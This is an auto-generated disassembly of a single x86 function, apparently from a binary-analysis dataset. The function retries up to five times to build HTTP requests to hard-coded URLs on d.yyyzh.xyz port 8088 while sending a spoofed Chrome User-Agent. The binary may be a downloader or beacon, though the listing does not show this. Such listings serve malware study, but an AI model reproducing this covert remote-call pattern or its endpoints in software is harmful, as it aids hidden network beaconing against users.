Function at 0x40af21
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0xc
call fcn.004837fd
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx], 0x5cdcff
push ebx
add ebx, 4
push ebx
push 8
call fcn.004837fd
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x5cdc52
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
add ebx, 4
push ebx
push 8
call fcn.004837fd
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x5cdc52
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
pop ebx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 5
jg 0x40b532
mov ebx, dword [0x9b1fbc]
call fcn.004067dd
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x40aff7
push 0xd1
push 0x4019143
push 4
call fcn.0048380f
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x40b014
push 0xd1
push 0x4019143
push 1
call fcn.0048380f
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x20], ebx
push str.yydte22
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push dword [0x9b1fb4]
mov ecx, 3
call fcn.004011f7
add esp, 0xc
mov dword [ebp - 0x24], eax
push getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x40b051
mov eax, 0x5a3e34
push eax
push 1
mov ebx, 0x485150
call fcn.00483803
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x40b077
push ebx
call fcn.00483809
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x40b08a
mov eax, 0x5cdc52
push eax
push 1
mov eax, 4
mov ebx, 0x4fb340
call fcn.00483821
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x40b0b5
push ebx
call fcn.00483809
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40b0c9
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
jne 0x40b172
mov ebx, dword [0x9b1fbc]
call fcn.004067dd
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x40b101
push 0x174
push 0x4019143
push 4
call fcn.0048380f
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x40b11e
push 0x174
push 0x4019143
push 1
call fcn.0048380f
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x20], ebx
push dword [ebp - 4]
push 0x5cdc5a
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push str.yx
push dword [0x9b1fb4]
push str.http:__d.yyyzh.xyz:8088_yhgjccx_qq
mov ecx, 6
call fcn.004011f7
add esp, 0x18
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40b169
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 8], eax
jmp 0x40b208
mov ebx, dword [0x9b1fbc]
call fcn.004067dd
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x40b19c
push 0x206
push 0x4019143
push 4
call fcn.0048380f
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x40b1b9
push 0x206
push 0x4019143
push 1
call fcn.0048380f
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x20], ebx
push dword [ebp - 4]
push 0x5cdc5a
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push str.yx
push dword [0x9b1fb4]
push str.http:__d.yyyzh.xyz:8088_yhgjecx_qq
mov ecx, 6
call fcn.004011f7
add esp, 0x18
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40b204
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
mov eax, str.Mozilla_5.0__Windows_NT_6.1__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_50.0.2661.87_Safari_537.36
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.User_Agent
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x40b251
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x40b261
push ebx
call fcn.00483809
add esp, 4
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
lea eax, [ebp - 0x10]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40b292
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
push 8
call fcn.004837fd
add esp, 4
mov dword [ebp - 0x2c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
push 1
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
lea eax, [ebp - 0x5c]
push eax
push 1
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.0040b5a7
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x40b39f
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x40b3af
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x40b3bf
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x40b3cf
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x40b3df
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x40b3ef
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40b3ff
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40b40f
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x2c]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x4894e0
call fcn.00483803
add esp, 0x10
call fcn.00483809
add esp, 4
mov eax, dword [ebp - 0x60]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40b446
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x24], 0
push 0
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x28], 0
push 0
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00409b42
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x40b48c
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x40b49c
push ebx
call fcn.00483809
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40b4af
mov eax, 0x5cdc52
push eax
push 1
mov ebx, 0x485b70
call fcn.00483803
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40b4d5
push ebx
call fcn.00483809
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40b4e9
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push 0x5a3e34
push dword [ebp - 0x1c]
call fcn.00401479
add esp, 8
cmp eax, 0
jne 0x40b50b
jmp 0x40b52c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40b527
push eax
mov ebx, eax
call fcn.0040118c
inc eax
push eax
call fcn.004837fd
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x40b53f
pop ecx
jmp 0x40afc2
add esp, 4
mov eax, 0x5a3e34
jmp 0x40b53f
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40b550
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40b560
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
mov eax, dword [ebx]
call dword [eax]
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40b580
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40b590
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40b5a0
push ebx
call fcn.00483809
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8